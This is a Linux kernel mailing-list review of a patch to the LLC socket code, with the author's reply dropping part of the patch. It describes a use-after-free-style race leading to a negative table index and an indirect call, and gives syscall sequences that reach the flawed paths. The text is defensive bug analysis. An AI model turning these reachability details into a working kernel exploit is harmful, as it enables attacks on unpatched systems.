llc_ui_release()->release_sock(sk)->llc_sk_free()llc->state = LLC_CONN_OUT_OF_SVC; /* unlocked store of 0 */CPU0 continues into
llc_qualify_conn_ev()&llc_conn_state_table[llc->state - 1] /* now index -1 */ llc_find_offset(llc->state - 1, ev->type) (*next_trans)->ev(sk, skb) /* indirect call */Since
bh_lock_sock()inllc_conn_tmr_common_cb()does not exclude a writer that holds no lock, is the negative index and the indirect call through the pointer read from before the tables still reachable after this patch?Would latching the value once, for example
u8 state = READ_ONCE(llc->state);and passing that value down to
llc_qualify_conn_ev()andllc_find_offset(), or moving thellc_sk_free()state store under the socket lock, be a better fit for the problem described in the changelog?net/llc/llc_conn.c static int llc_conn_service(struct sock *sk, struct sk_buff *skb) · line 369
Quoted 2 lines
net/llc/llc_conn.c +0
-0rc =0 ; trans =llc_qualify_conn_ev (sk, skb);[Severity: Medium]
The goto out here leaves rc at its initial value of 1, which was previously unreachable for a state of 0. Where does that 1 end up?net/llc/llc_conn.c:llc_conn_state_process() { rc = llc_conn_service(skb->sk, skb); if (unlikely(rc != 0)) { printk(KERN_ERR "%s: llc_conn_service failed\n", __func__); goto out_skb_put; } ... }net/llc/llc_if.c:llc_establish_connection() { ... rc = llc_conn_state_process(sk, skb); } out_put: sock_put(sk); return rc; }net/llc/af_llc.c:llc_ui_connect() { rc = llc_establish_connection(sk, llc->dev->dev_addr, addr->sllc_mac, addr->sllc_sap); if (rc) { sock->state = SS_UNCONNECTED; sk->sk_state = TCP_CLOSE; goto out; } ... out: release_sock(sk); return rc; }Can connect(2) then return +1 to userspace on a socket that was just reset to
SS_UNCONNECTEDandTCP_CLOSE? Callers testing for a negative return would read that as success.Is the printk also a concern, since it is not ratelimited and now fires once per event for a state this patch treats as expected?
The sequence I believe reaches it on a still-hashed socket:
1.
socket(AF_LLC, SOCK_STREAM)+bind()leavesllc->stateatLLC_CONN_STATE_ADM
2. a failingconnect()leaves state at ADM withllc->daddrset and the socket still in the SAP list
3. any further frame from the peer matches the ADM catch-all transition
net/llc/llc_c_st.c:
static const structllc_conn_state_transllc_adm_state_trans_5= {
.ev =llc_conn_ev_rx_any_frame,
.next_state =LLC_CONN_OUT_OF_SVC,
.ev_qualifiers = NONE,
.ev_actions =llc_adm_actions_5,
};which sets llc->state to 04. connect(2) again (
sock->stateisSS_UNCONNECTED, so it is accepted) reaches the new reject pathWould it be more consistent to translate out-of-service into
-ECONNABORTEDat thellc_if.centry points?llc_send_disc()already does an explicit check:net/llc/llc_if.c:llc_send_disc() { if (sk->sk_type != SOCK_STREAM || sk->sk_state != TCP_ESTABLISHED || llc_sk(sk)->state == LLC_CONN_STATE_ADM || llc_sk(sk)->state == LLC_CONN_OUT_OF_SVC) goto out; ... }while
llc_establish_connection()has no such check. On a related note, the kernel-doc forllc_build_and_send_pkt()still documents only 0,-ECONNABORTEDand-EBUSY, although state 0 is filtered there only incidentally byllc_data_accept_state().[Severity: Medium]
This isn't a bug introduced by this patch, but while looking at the callers ofllc_conn_service()there is an asymmetry inllc_backlog_rcv()worth mentioning. The fallback branch tests the owner socket's state and then dispatches on it, whilellc_conn_state_process()operates onskb->sk:net/llc/llc_conn.c:llc_backlog_rcv() { ... } else if (likely(llc->state > 1)) { rc = llc_conn_rcv(sk, skb); } else { goto out_kfree_skb; } ... }The two branches above it take
bh_lock_sock_nested(newsk)before touching a child, this one does not. For a listener-owned backlog skb whoseskb->skis a child, the child's state machine runs without the child's lock, even thoughllc_conn_state_process()documents that the socket lock has to be held.Every child reachable through this branch appears to have already been released by
llc_release_incoming_sock(), whose state store the new check now rejects, so this looks defused for the concretely reachable case. What remains is the publication order in that function:net/llc/llc_conn.c:llc_release_incoming_sock() { if (atomic_xchg(&llc->incoming_state, LLC_INCOMING_NONE) == LLC_INCOMING_NONE) return; WRITE_ONCE(llc->state, LLC_CONN_OUT_OF_SVC); ... }
Quoted 12 lines
Can a drainer in the fallback branch observe
incoming_stateasLLC_INCOMING_NONEwhile still seeing the child's pre-teardown non-zero state, and then run the child's state machine concurrently withllc_release_incoming_sock()on another CPU? Both fields are read there without the child's bh lock. Reaching the branch at all also needs the listener's ownllc->stateabove 1, which seems possible only through alisten()followed byconnect()on the same socket, sincellc_ui_listen()leavessock->stateatSS_UNCONNECTEDandllc_ui_connect()has noTCP_LISTENcheck. I could not confirm that all of these hold at the same time, so this may not be reachable in practice.
--
pw-bot: cr
Thanks for the review. The points on 2/2 look valid, especially the unlatched llc->state check versus llc_sk_free(), and the connect(2) return of +1 / unratelimited printk path.
I'll drop 2/2. Kees's net-next series covers the same out-of-service lookup more completely, including the state machine guard and the -ECONNABORTED translation:
https://lore.kernel.org/all/[email protected]/
I'll leave that bug to his series.
1/2 is a separate listener child-socket leak and is not addressed there. I'll reroll that alone as v7.
The remaining note about llc_backlog_rcv() / llc_release_incoming_sock() belongs to 1/2; I'll look at the publication order there in the reroll.
Thanks,
Zihan